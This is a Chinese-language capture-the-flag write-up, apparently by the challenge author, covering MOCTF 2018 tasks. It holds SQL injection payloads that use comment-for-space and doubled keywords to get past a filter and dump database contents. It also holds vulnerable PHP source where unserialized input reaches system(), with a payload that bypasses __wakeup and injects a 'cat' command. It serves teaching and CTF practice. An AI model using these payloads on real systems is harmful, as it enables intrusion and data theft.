MOCTF2018 新春赛WEB部分WP

MOCTF2018 新春赛WEB部分WP

目录

  1. MISC部分:
  2. WEB部分:

记一下 MOCTF 2018新春赛 我出的题目的WP,大佬们轻喷...

MISC部分:

0x01. Hacker!!!

题目描述:You have been Hacked!
解题思路:
下载下来一个流量包,过滤HTTP协议,HTTP协议为SQL盲注,根据返回页面的长度判断正确答案,把ASCII码抄下来,转换一下即可得到flag.

a=[109,111,99,116,102,123,72,116,116,112,95,49,115,95,100,52,110,103,51,114,73,48,117,53,125]
flag =""
for b in a:
    flag=flag+chr(b)
print flag
>>moctf{Http_1s_d4ng3rI0u5}

WEB部分:

0x01. ez Injection
题目描述:一起来扣扣扣扣飞车飞车?
解题思路:
注入,通过fuzz测试发现空格括号都被过滤,*号没被过滤,通过/**/代替空格进行注入,并且没有错误回显.
注入的时候发现union,select,from,where没被过滤,但是没有回显,结合题目提示,扣扣扣扣飞车飞车,联想到采用双写绕过过滤.
payload:
猜列数:

1'/**/order/**/by/**/3#

为4的时候不回显,为3的时候正常,所以列数为3.
爆库名:

1'/**/ununionion/**/seselectlect/**/1,schema_name,3/**/frofromm/**/information_schema.schemata#

爆表名:

1'/**/ununionion/**/seselectlect/**/1,table_name,3/**/frofromm/**/information_schema.tables/**/wherwheree/**/table_schema="sheldon"#

爆字段名:

1'/**/ununionion/**/seselectlect/**/1,column_name,3/**/frofromm/**/information_schema.columns/**/whwhereere/**/table_name="04ad5938eaf0efb6"#

取值:

1'/**/ununionion/**/selselectect/**/name,value,value/**/frofromm/**/sheldon.04ad5938eaf0efb6;#

flag: moctf{5o_  sql_inj3cti0n}

0x02. PUBG

题目描述:Winner Winenr,Chicken Dinner!!!
解题思路:
.bak源码泄露获得index.php.bak 看到源代码里面有include "class.php" 通过相同的方法获得 class.php.bak
代码审计发现是反序列化,关键代码:

elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }

反序列化的部分为:unserialize($pubg);
再看class.php的代码

<?php
    include 'waf.php';
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
?>

整理一下逻辑:
1.关键部分的代码为:system("php .//class//$method.php");可以通过命令拼接执行任意语句,其中$method为调用的未定义函数的名字,在本题中应该是$bag.
2.__call函数当调用一个未定义的函数的自动调用
3.__wakeup在反序列化的时候会把你传入的反序列化后的值给覆盖掉.
解题思路:
1.绕过__wakeup,当反序列化时的字符串所对应的对象的数目被修改,__wakeup的函数就不会被调用.详细参考本博客的另外一篇博客.
2.$bag为要调用的未定义函数,并且他为system命令的参数.
3.$weapon==AWM的时候调用$bag函数.
4.通过修改$bag的值来执行不同的system语句.

payload:

?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:24:"win.php;cat%20./class/flag";s:6:"weapon";s:3:"AWM";}

flag:moctf{Try_Learn_PhP_h4rder}

总结:
由于水平有限,只能出一出水题XD,请各位大佬如果发现有写错的地方可以联系我纠正.
与君共勉.

 
http://www.she1don.cn/index.php/archives/Spring.html
原文地址:https://www.cnblogs.com/P201421460007/p/12934603.html